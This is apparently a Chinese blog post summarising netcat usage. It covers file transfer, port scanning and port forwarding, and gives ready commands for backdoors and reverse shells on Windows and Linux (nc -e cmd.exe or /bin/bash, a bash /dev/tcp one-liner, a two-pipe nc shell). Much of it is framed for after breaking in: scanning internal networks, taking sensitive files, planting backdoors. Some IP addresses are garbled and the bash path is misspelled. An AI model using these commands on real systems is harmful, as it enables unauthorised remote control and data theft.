netcat基本使用方法总结

netcat是网络界的瑞士军刀,使用netcat,可以解决客户端主动连接服务器被防火墙拦截的问题,使用netcat,我们的pc(控制端)相当于服务器,服务器(被控制端)相当于一个客户端。下面是netcat原理图:
netcat原理图
netcat下载地址:

https://eternallybored.org/misc/netcat/

1. 基本使用

两台机器通信:
创建一个服务器端
nc -l -p [localport]
创建一个客户端方法:
nc [remote_addr] [remoteport]

2. 返回Shell

客户端获取服务端的shell:
创建一个服务器端(被控制端)
nc -l -p [localport] -e cmd.exe
被控制端
创建一个客户端(控制端)方法
nc [remote_addr] [remoteport]
控制端

3. 文件传输

使用场景:

1. 取证

当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。
避免直接在目标机器上进行操作造成取证的误差

2. 获取目标机器上的敏感文件

当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输
为什么可以直接利用nc进行文件传输:
nc中的数据传输使用的时标准的输入、输出流,所以可以直接利用命令行来进行操作。
使用方法:
1). 实现客户端向服务器端传输文件
创建一个服务器端方法:
nc -l -p [localport] > outfile
创建一个客户端方法:
nc [remote_addr] [remoteport] < infile
注意端口号和<,>之间要有空格隔开
2). 实现服务端向客户端传输数据
创建一个服务器端方法:
nc -l -p [localport] < outfile
创建一个客户端方法:
nc [remote_addr] [remoteport] > infile
对于无法连接到的服务端,如何避免nc假死:
如果服务端没有准备好连接,而客户端已经使用nc进行连接,那么客户端会一直等待下去,
直到连接上服务端,造成一种假死状态。
解决方法:设置等待时间
nc -w3 [ip] [port] //设置等待时间3秒钟,超过3秒钟,客户端直接关闭等待连接

4. netcat信息探测

使用场景:
1). 目标内网的扫描
当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好有一个netcat的话,
就可以使用netcat进行内网ip和端口的扫描
2). 对某个目标进行端口探测
3). 对目标的服务banner进行抓取
端口扫描使用方法:
nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v: 表示对错误进行详细输出
-n: 不对目标机器进行DNS解析
-z:zero I/O模式,专用于端口扫描,表示对目标IP发送的数据表中不好含任何payload,这样做可以加快扫描速度
-w1: 超时设置为1秒
对目标的服务banner进行抓取:
echo " " | nc -v -n -w1 192.168.1.101 1-1000

5. netcat建立后门

使用场景:
1). 获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能
使用方法:
监听型后门(windows):
服务端:nc [remote_ip] [remote_port]
客户端:nc -l -p 4444 -e cmd.exe

连接型后门(windows):
nc [remote_ip] [remote_port] -e cmd.exe
服务端:nc -l -p 4444
客户端:nc [remote_ip] [remote_port] -e cmd.exe

监听型后门(linux):
服务端:nc [remote_ip] [remote_port]
客户端:nc -l -p 4444 -e /bin/bash

连接型后门(linux):
服务端:nc -l -p 4444
客户端:nc [remote_ip] [remote_port] -e /bin/bash

6. nc命令参数

查看命令参数:使用nc -h
-d: 脱离命令窗口,在后台运行,常用于后门建立过程
-e: 执行某个程序,常用于后门建立过程
-G gateway: 设置网关,常用于突破内网限制
-g num: 路由跳数
-i sec:设置发送每一行数据的时间间隔
-l: 设置netcat处于监听状态等待连接
-L: 设置netcat处于监听状态,等待连接,当客户端断开,服务端依旧回到等待状态。
-n: 设置netcat只识别ip地址,不在进行DNS解析。
-o file:设置传输十六进制的数据
-p port:设置本地监听的端口号
-r: 设置netcat随机化的端口号
-s addr:设置netcat源地址
-t: 回复telnet的请求数据包
-u: 设置netcat使用UDP模式
-v: 显示错误提示信息
-w secs:设置连接超时秒数
-z:设置扫描模式,表示发送的数据包中不包含任何payload

7. netcat 连接转发

netcat连接转发
使用方法:

echo nc [targetip] [port] > delay.bat
nc -l -p [localhost] -e delay.bat

当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上 实现了连接转发功能(端口转发
场景: kali想通过windows连接到centos:

1. centos(192.168.146.128): netcat -l -p 4444
2. windows(192.1.68.1.105): nc64.exe -l -p 4445 -e delay.bat
delay.bat内容:
nc64.exe 192.168.146.128 4444
3. Kali: nc 192.1.68.1.105 4445

7. netcat反弹shell(bash)

应用场景:
某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat时
反弹shell
在没有安装netcat的服务器上执行反弹shell命令: bash -i >& /dev/tc/ip/port 0>&1
在控制端PC接收netcat命令:nc -lvp port
在这里插入图片描述
命令解释:
在这里插入图片描述

8. netcat反弹shell(python)

应用场景:
某些拿到服务器权限之后,想要设置一个反弹shell,但是目标服务器上没有安装netcat,但是安装了python时
在没有安装netcat的服务器上执行python程序
在这里插入图片描述
在控制端PC接收netcat命令:nc -lvp 4445
命令解释:
在这里插入图片描述

9. netcat反弹shell(不支持nc -e)

应用场景:
某些拿到服务器权限之后,想要设置一个反弹shell,当时因为配置原因不支持 -e 参数:
在这里插入图片描述
反弹shell命令:

nc ip port | /bin/bash | nc ip port
nc 192.168.1.100 4445 | /bin/bash | nc 92.168.1.100 4446

PC接受netcat命令:nc -lvp port,需要启动两个监听端口

nc -lvp 4445(输入)
nc -lvp 4446(输出)

命令解释:
在这里插入图片描述

posted @ 2020-01-30 11:04  星空天宇  阅读(613)  评论(0编辑  收藏  举报